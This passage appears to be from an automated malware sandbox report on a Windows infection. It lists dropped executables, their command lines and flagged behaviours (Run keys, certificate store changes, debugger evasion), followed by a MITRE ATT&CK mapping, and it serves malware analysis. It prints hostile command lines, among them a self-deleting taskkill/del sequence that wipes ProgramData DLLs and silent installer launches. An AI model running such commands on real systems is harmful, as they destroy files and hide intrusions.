      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6652 -s 1096
        6⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Program crash
        
        PID:7720
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rgwuxvkc.vhm\installer.exe /qn CAMPAIGN="654" & exit
      4⤵
      PID:6756
    - - C:\Users\Admin\AppData\Local\Temp\rgwuxvkc.vhm\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\rgwuxvkc.vhm\installer.exe /qn CAMPAIGN="654"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Enumerates connected drives
        Modifies system certificate store
        Suspicious use of FindShellTrayWindow
        
        PID:7036
      - C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\rgwuxvkc.vhm\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\rgwuxvkc.vhm\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630777775 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        6⤵
        
        PID:5596
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\htfyhqix.a23\anyname.exe & exit
      4⤵
      PID:7028
    - - C:\Users\Admin\AppData\Local\Temp\htfyhqix.a23\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\htfyhqix.a23\anyname.exe
        5⤵
        Executes dropped EXE
        
        PID:6376
      - C:\Users\Admin\AppData\Local\Temp\htfyhqix.a23\anyname.exe
        
        "C:\Users\Admin\AppData\Local\Temp\htfyhqix.a23\anyname.exe" -u
        6⤵
        
        PID:7272
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3e1cwnyo.x0v\gcleaner.exe /mixfive & exit
      4⤵
      Executes dropped EXE
      PID:4940
    - - C:\Users\Admin\AppData\Local\Temp\3e1cwnyo.x0v\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\3e1cwnyo.x0v\gcleaner.exe /mixfive
        5⤵
        
        PID:7192
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7192 -s 884
        6⤵
        Program crash
        
        PID:8040
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bphsqddc.jo3\autosubplayer.exe /S & exit
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:6580
- - C:\Users\Admin\AppData\Local\Temp\64-acdfe-ad8-5a3bc-b1d2be44ee2b5\Vizhokaqyca.exe
    "C:\Users\Admin\AppData\Local\Temp\64-acdfe-ad8-5a3bc-b1d2be44ee2b5\Vizhokaqyca.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4236

C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue112c483dd3245d.exe
Tue112c483dd3245d.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Modifies system certificate store
PID:4512
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /im Tue112c483dd3245d.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue112c483dd3245d.exe" & del C:\ProgramData\*.dll & exit
  2⤵
  PID:1808
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im Tue112c483dd3245d.exe /f
    3⤵
    - Kills process with taskkill
    PID:7652
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 6
    3⤵
    - Delays execution with timeout.exe
    PID:7536

C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11141271fbe5877f.exe
Tue11141271fbe5877f.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4504
- C:\ProgramData\8391584.exe
  "C:\ProgramData\8391584.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5080
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 5080 -s 1948
    3⤵
    - Program crash
    PID:3952
- C:\ProgramData\6129850.exe
  "C:\ProgramData\6129850.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  PID:4288
- - C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
    "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
    3⤵
    - Executes dropped EXE
    PID:4100
- C:\ProgramData\5529147.exe
  "C:\ProgramData\5529147.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:5496
- C:\ProgramData\7732803.exe
  "C:\ProgramData\7732803.exe"
  2⤵
  - Executes dropped EXE
  PID:5832

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5180
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  PID:5204

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5636
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  PID:6124

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:6976

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:7136

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Suspicious use of SetWindowsHookEx
PID:7916

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7352

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:7556
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 6F831CAF32C37C01B88199FC3EF8C6F5 C
  2⤵
  - Loads dropped DLL
  PID:7772
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 98EC7D1B9B9E5DD592C0FE5562B5AE54
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  PID:7180
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
    3⤵
    - Kills process with taskkill
    PID:5812
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding FE0F8B687888270EB2A9093D55ED28EA E Global\MSI0000
  2⤵
  - Loads dropped DLL
  PID:7328

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5020
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  PID:7188

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
1⤵
PID:6896

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:1808

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:500

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe
"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe" /update
1⤵
PID:8140
- C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe
  C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe /update /peruser /childprocess /extractFilesWithLessThreadCount /renameReplaceOneDriveExe /renameReplaceODSUExe /removeNonCurrentVersions
  2⤵
  - Modifies system executable filetype association
  - Adds Run key to start application
  - Modifies Internet Explorer settings
  - Modifies registry class
  PID:7884
- - C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.150.0725.0001\FileSyncConfig.exe
    "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.150.0725.0001\FileSyncConfig.exe"
    3⤵
    - Loads dropped DLL
    PID:4276

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
PID:7524

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:4340

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5268

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
PID:7140

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
PID:4144

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:6828

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:6584

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2232

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
PID:1532

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:8924

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:8972

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:1276

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:8664

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:9612

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:9364

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:9580

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Change Default File Association

T1042

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Install Root Certificate

T1130

Modify Registry

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

Software Discovery

T1518

System Information Discovery